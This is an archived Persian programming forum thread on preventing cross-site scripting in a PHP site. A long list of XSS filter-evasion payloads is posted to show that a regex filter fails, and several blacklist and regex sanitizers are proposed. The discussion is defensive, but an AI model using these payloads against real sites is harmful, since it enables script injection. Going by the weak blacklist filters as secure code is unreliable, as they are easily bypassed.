PDA

View Full Version : سوال: جلوگیری از اجرای کدهای html وارد شده در صفحه با php



as13851365
پنج شنبه 28 شهریور 1387, 10:23 صبح
من یک فرم ثبت نام در سایت دارم و یک فرم ارسال مطلب.
در فرم ثبت نام ( نام - پسورد - ایمیل و ...) را از کاربر می گیرم و در بانک ذخیره می کنم و وقتی که کاربر در سایت لاکین می کنه نام و دیگر مشخصاتش رو در سایت نمایش می دم .

حالا اگه کسی بیاد به جای وارد کردن اطلاعاتی مانند نام دستورات جاوااسکریپت رو وارد کنه و در سایت لاکین کنه سایت دستورات وارد شده رو اجرا می کنه به همین سادگی ! :متعجب:

مثلا اگر کاربری به جای نام کد <script>alert('XXXXXXX')</script> رو وارد کنه و در سایت لاگین کنه سایت پیغام XXXXXX رو نشون می ده !

برای جلوگیری از این کار دوستان دستور htmlentities رو معرفی کردند !
خیلی خوب کار می کنه :تشویق:
ولی یه مشکل دیگه ! :عصبانی++:
وقتی که کاربر یک عکس و یا یک لینک رو در فیلد متن وارد کنه و بخواد که این عکس و یا لینک سایتی که در پست خود قرار داده رو در صفحه ببینه نمی شه یعنی کدهای مربوطه نمایش داده می شن و عکس و یا لینکی نیست ! :عصبانی:

برای انجام این کار دوستان چه تابعی و یا چه راه رو پیشنهاد می کنند ؟:متفکر:

مثلا این انجمن رو در نظر بگیرید ! :چشمک:
وقتی که در بین نوشته های خود از دستورات استفاده می کنید وقتی که صفحه رو پست می کنید دستورات به صورت یک بلاک داخل یک Div قرار می گیرند و اجرا نمی شن :<script>alert('XXXXXXX')</script>: و یا <script>alert('XXXXXXX')</script> ولی اگر کاربران عکس رو در صفحه قرار بدن عکس نمایش داده می شه !

برای انجام این کار حتمام مقدار فیلد رو به یه تابعی ارسال می کنند حالا این تابع رو چطوری می شه پیاده سازی کرد و یا اصلا برای حل این مشکل شما چه راحی رو پیشنهاد می کنید :خجالت:

Bahram0110
پنج شنبه 28 شهریور 1387, 13:29 عصر
http://www.owasp.org/index.php/XSS

as13851365
پنج شنبه 28 شهریور 1387, 13:49 عصر
من یه تابع می خوام که ورودی رو بهش ارسال کنم و خروجی رو در بانک ذخیره کنم
من تابع رو می نویسیم ولی تمام کد ها رو تبدیل می کنه و باز همون عکس ها نمایش داده نمی شه

اگه می شه کمی واضحتر توضیح بدید که این انجمن هنگام ذخیره دادها از چی استفاده می کنه ممنون می شم

Bahram0110
پنج شنبه 28 شهریور 1387, 18:16 عصر
شما از تابع strip_tags (http://ir.php.net/strip_tags) استفاده کنید مشکلی پیش نمیاد

vahid4134
پنج شنبه 28 شهریور 1387, 18:45 عصر
$value = preg_replace('/<SCRIPT.*?<\/SCRIPT>/ims',"",$value);
$value = preg_replace('/on(Load|Click|DblClick|DragStart|KeyDown|KeyPress| KeyUp|MouseDown|MouseMove|MouseOut'.
'|MouseOver|SelectStart|Blur|Focus|Scroll|Select|U nload|Change)s*=s*(\'|").*?\2/smi',"",$value);
$value = preg_replace('/(\'|")javascript:.*?\1/smi','',$value);
خروجی رو عاری از هر گونه رویداد و جاوااسکریپت می کنه

Yousha
چهارشنبه 15 آبان 1387, 19:13 عصر
$value = preg_replace('/<SCRIPT.*?<\/SCRIPT>/ims',"",$value);
$value = preg_replace('/on(Load|Click|DblClick|DragStart|KeyDown|KeyPress| KeyUp|MouseDown|MouseMove|MouseOut'.
'|MouseOver|SelectStart|Blur|Focus|Scroll|Select|U nload|Change)s*=s*(\'|").*?\2/smi',"",$value);
$value = preg_replace('/(\'|")javascript:.*?\1/smi','',$value);
خروجی رو عاری از هر گونه رویداد و جاوااسکریپت می کنه

این اصلاً ایمنی نداره عزیز. بهتره عوض یا پاکش کنی.

vahid4134
پنج شنبه 16 آبان 1387, 10:56 صبح
این اصلاً ایمنی نداره عزیز. بهتره عوض یا پاکش کنی.
دوست عزیز وقتی به چیزی ایراد گرفته میشه اول ایرادش رو میگن بعد میگن ایمنی نداره.
شما اول بگید اشکال این کد چیه بعد بگید ایمنی نداره
با مثال لطفا

Yousha
پنج شنبه 16 آبان 1387, 11:15 صبح
بفرما عزیز:



$value='<script>alert(document.cookie)</script>
<IMG SRC="javascript:alert("XSS");">
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=JaVaScRiPt:alert("XSS")>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=`javascript:alert("XSS")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83) )>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav ascript:alert("XSS");">
<IMG SRC="jav&#x09;ascript:alert("XSS");">
<IMG SRC="jav&#x0A;ascript:alert("XSS");">
<IMG SRC="jav&#x0D;ascript:alert("XSS");">
<IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
"
X
S
S
"
)
"
>
<IMG SRC="  javascript:alert("XSS");">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<IMG SRC="javascript:alert("XSS")"
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert("XSS");">
<BODY BACKGROUND="javascript:alert("XSS")">
<BODY ONLOAD=alert("XSS")>
<IMG DYNSRC="javascript:alert("XSS")">
<IMG LOWSRC="javascript:alert("XSS")">
<BGSOUND SRC="javascript:alert("XSS");">
<BR SIZE="&{alert("XSS")}">
<LINK REL="stylesheet" HREF="javascript:alert("XSS");">
<XSS STYLE="behavior: url(xss.htc);">
<STYLE>li {list-style-image: url("javascript:alert("XSS")");}</STYLE><UL><LI>XSS
<IMG SRC="vbscript:msgbox("XSS")">
<IMG SRC="mocha:[code]">
<IMG SRC="livescript:[code]">

?script?alert(?XSS?)?/script?
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert("XSS");">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD 4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert("XSS");">
<IFRAME SRC="javascript:alert("XSS");"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert("XSS");"></FRAMESET>
<TABLE BACKGROUND="javascript:alert("XSS")">
<TABLE><TD BACKGROUND="javascript:alert("XSS")">
<DIV STYLE="background-image: url(javascript:alert("XSS"))">
<DIV STYLE="background-image:\0075\0072\006C\0028"\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074 \003a\0061\006c\0065\0072\0074\0028.1027\0058.1053 \0053\0027\0029"\0029">
<DIV STYLE="background-image: url(javascript:alert("XSS"))">
<DIV STYLE="width: expression(alert("XSS"));">
<STYLE>@im\port"\ja\vasc\ript:alert("XSS")";</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert("XSS"))">
<XSS STYLE="xss:expression(alert("XSS"))">
exp/*<A STYLE="no\xss:noxss("*//*");
xss:ex&#x2F;*XSS*//*/*/pression(alert("XSS"))">
<STYLE>.XSS{background-image:url("javascript:alert("XSS")");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert("XSS")")}</STYLE>
<SCRIPT>alert("XSS");</SCRIPT>
<BASE HREF="javascript:alert("XSS");//">
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert("XSS")></OBJECT>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDov L3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm 9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPS IxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcm lwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(\"";
c="javascript:";
d="alert("XSS");\")";
eval(a+b+c+d);
<HTML xmlns:xss>
<xss:xss>XSS</xss:xss>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert("XSS");">]]>
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert("XSS")"&gt;</B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;">
<? echo("<SCR)";
echo("IPT>alert("XSS")</SCRIPT>"); ?>
<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert("XSS")&lt;/SCRIPT&gt;">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert("XSS");+ADw-/SCRIPT+AD4-
<A HREF="http://1113982867/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
<
%3C
&lt
&lt;
&LT
&LT;
<
<
<
<
<
<
<
<
<
<
<
<
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C';
$value= preg_replace('/<SCRIPT.*?<\/SCRIPT>/ims', "", $value);
$value= preg_replace('/on(Load|Click|DblClick|DragStart|KeyDown|KeyPress| KeyUp|MouseDown|MouseMove|MouseOut' . '|MouseOver|SelectStart|Blur|Focus|Scroll|Select|U nload|Change)s*=s*(\'|").*?\2/smi', "", $value);
$value= preg_replace('/(\'|")javascript:.*?\1/smi', '', $value);
echo($value);

as13851365
پنج شنبه 16 آبان 1387, 17:55 عصر
دوست عزیز Yousha خان این کدهایی که در پست 8 قرار دادی به چه دردی می خورن ؟

یعنی اگر این کد رو یکی بیاد و توی مثلا قسمت ثبت نظر در سایت وارد کنه سایت قاطی می کنه ؟

اگر این کد رو به صورت یک فایل ذخیره کنید همانی می شه که شما می گید ولی اگر این کد رو بخواهید در بانک ذخیره کنید و در صفحه نمایش بدید اگر به درستی فیلترش کنید هیچ تاثیری نداره !

اگر می خواهید با کدهای پست 5 کدهای پست 8 رو فیلتر کنید شاید حق با شما باشه ولی :

اگر شما از دو تابع زیر استفاده کنید :


$value=htmlspecialchars($value);
$value=strip_tags($value);

این کد هیچ کاری نمی تونه بکنه !

Yousha
پنج شنبه 16 آبان 1387, 18:20 عصر
دوست عزیز Yousha خان این کدهایی که در پست 8 قرار دادی به چه دردی می خورن؟
یعنی اگر این کد رو یکی بیاد و توی مثلا قسمت ثبت نظر در سایت وارد کنه سایت قاطی می کنه ؟
اگر این کد رو به صورت یک فایل ذخیره کنید همانی می شه که شما می گید ولی اگر این کد رو بخواهید در بانک ذخیره کنید و در صفحه نمایش بدید اگر به درستی فیلترش کنید هیچ تاثیری نداره!
اگر می خواهید با کدهای پست 5 کدهای پست 8 رو فیلتر کنید شاید حق با شما باشه ولی :

اگر شما از دو تابع زیر استفاده کنید :


$value=htmlspecialchars($value);
$value=strip_tags($value);

این کد هیچ کاری نمی تونه بکنه!

ما یک همچین بحثی رو در اینجا http://barnamenevis.org/forum/showthread.php?t=129975 داشتیم.
به کل فکر استفاده از دستور strip_tags رو از ذهنتون بیرون کنید.

این دستور strip_tags بقدری ضعیف و قابل نفوذ هستش که از اسمش هم معلومه. حتی وبسایتهای خبری دست 1000 روم Net security, Security focus, و... درجه آسیب پذیریشو خیلی بالا، علاناً اعلام کردند.
همین دستور به خیلی از وبسایتها(قبل از شناسایی آسیب پذیری) خسارتهای زیادی وارد کرد.

این کدهایی که در پست#8 قرار دادم نمونه اسکریپتها و دستورات ساده ای هست که برای حملات XSS(CSS) استفاده میشه.
اگر در جایی استفاده بشه، در صورت عدم رعایت نکات ایمنی(ازطرف سوژه) اثرات مخرب زیادی بدنبال داره.

HTMLEntities مبدل هستش نه فیلتر. شما که همه جا نبای همه چی رو تبدیل کنید!
خیلی جاها تبدیل یک تگ(یا کد) باعث فعال شدن و آسیب زدن به نرم افزار، مخصوصاً پایگاه داده هستش. الااخصوص اگر رشته ورودی رو Scan یا وارد نرم افزار(حافظه) کنید.

این آقا وحید هم اگر کدشون رو حذف یا ویرایش کنن خیلی بهتره.

zoghal
جمعه 17 آبان 1387, 02:04 صبح
راه حل پیشنهادی شما چیست؟

Yousha
جمعه 17 آبان 1387, 13:09 عصر
راه حل پیشنهادی شما چیست؟

برای حذف تگ فقط! نه تبدیل نه غیره...



function _Strip_Tag($Str_Input)
{
@settype($Str_Input, 'string');
$Str_Input= @strip_tags($Str_Input);
$_Ary_TagsList= array('jav&#x0A;ascript:', 'jav&#x0D;ascript:', 'jav&#x09;ascript:', 'javascript:', 'javascript:', '<script>', '<SCRIPT>', '<script >', '<noscript>', '</script>', '<!-', '<', '>', '%3C', '&lt', '&lt;', '&LT', '&LT;', '<', '<', '<', '<', '<', '<', '<', '<', '<', '<', '<', '<', '&#x3c', '&#x03c', '&#x003c', '&#x0003c', '&#x00003c', '&#x000003c', '&#x3c;', '&#x03c;', '&#x003c;', '&#x0003c;', '&#x00003c;', '&#x000003c;', '&#X3c', '&#X03c', '&#X003c', '&#X0003c', '&#X00003c', '&#X000003c', '&#X3c;', '&#X03c;', '&#X003c;', '&#X0003c;', '&#X00003c;', '&#X000003c;', '&#x3C', '&#x03C', '&#x003C', '&#x0003C', '&#x00003C', '&#x000003C', '&#x3C;', '&#x03C;', '&#x003C;', '&#x0003C;', '&#x00003C;', '&#x000003C;', '&#X3C', '&#X03C', '&#X003C', '&#X0003C', '&#X00003C', '&#X000003C', '&#X3C;', '&#X03C;', '&#X003C;', '&#X0003C;', '&#X00003C;', '&#X000003C;', '\x3c', '\x3C', '\u003c', '\u003C', chr(60), chr(62));
$Str_Input= @str_replace($_Ary_TagsList, '', $Str_Input);
$Str_Input= @str_replace('

', '', $Str_Input);
return((string)$Str_Input);
}

vahid4134
جمعه 17 آبان 1387, 13:17 عصر
برای حذف تگ فقط! نه تبدیل نه غیره...



function _Strip_Tag($Str_Input)
{
@settype($Str_Input, 'string');
$Str_Input= @strip_tags($Str_Input);
$_Ary_TagsList= array('jav&#x0A;ascript:', 'jav&#x0D;ascript:', 'jav&#x09;ascript:', 'javascript:', 'javascript:', '<script>', '<SCRIPT>', '<script >', '<noscript>', '</script>', '<!-', '<', '>', '%3C', '&lt', '&lt;', '&LT', '&LT;', '<', '<', '<', '<', '<', '<', '<', '<', '<', '<', '<', '<', '&#x3c', '&#x03c', '&#x003c', '&#x0003c', '&#x00003c', '&#x000003c', '&#x3c;', '&#x03c;', '&#x003c;', '&#x0003c;', '&#x00003c;', '&#x000003c;', '&#X3c', '&#X03c', '&#X003c', '&#X0003c', '&#X00003c', '&#X000003c', '&#X3c;', '&#X03c;', '&#X003c;', '&#X0003c;', '&#X00003c;', '&#X000003c;', '&#x3C', '&#x03C', '&#x003C', '&#x0003C', '&#x00003C', '&#x000003C', '&#x3C;', '&#x03C;', '&#x003C;', '&#x0003C;', '&#x00003C;', '&#x000003C;', '&#X3C', '&#X03C', '&#X003C', '&#X0003C', '&#X00003C', '&#X000003C', '&#X3C;', '&#X03C;', '&#X003C;', '&#X0003C;', '&#X00003C;', '&#X000003C;', '\x3c', '\x3C', '\u003c', '\u003C', chr(60), chr(62));
$Str_Input= @str_replace($_Ary_TagsList, '', $Str_Input);
$Str_Input= @str_replace('

', '', $Str_Input);
return((string)$Str_Input);
}


بهتره این بحث دنبال بشه.
http://barnamenevis.org/forum/showthread.php?p=628806&posted=1#post628806